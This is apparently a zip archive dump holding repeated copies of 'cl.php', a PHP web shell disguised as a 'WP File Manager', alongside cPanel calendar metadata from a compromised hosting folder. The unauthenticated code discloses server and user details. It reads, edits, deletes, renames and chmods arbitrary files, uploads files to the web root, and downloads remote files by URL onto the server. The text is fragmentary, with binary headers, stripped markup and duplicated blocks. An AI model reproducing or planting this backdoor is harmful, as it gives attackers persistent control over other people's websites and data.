Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]„N9³§Ë§Ëcl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]¥i™BBgazetufm/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar [addressbook] protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book type VADDRESSBOOK PK‘&{]„N9³§Ë§Ëgazetufm/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
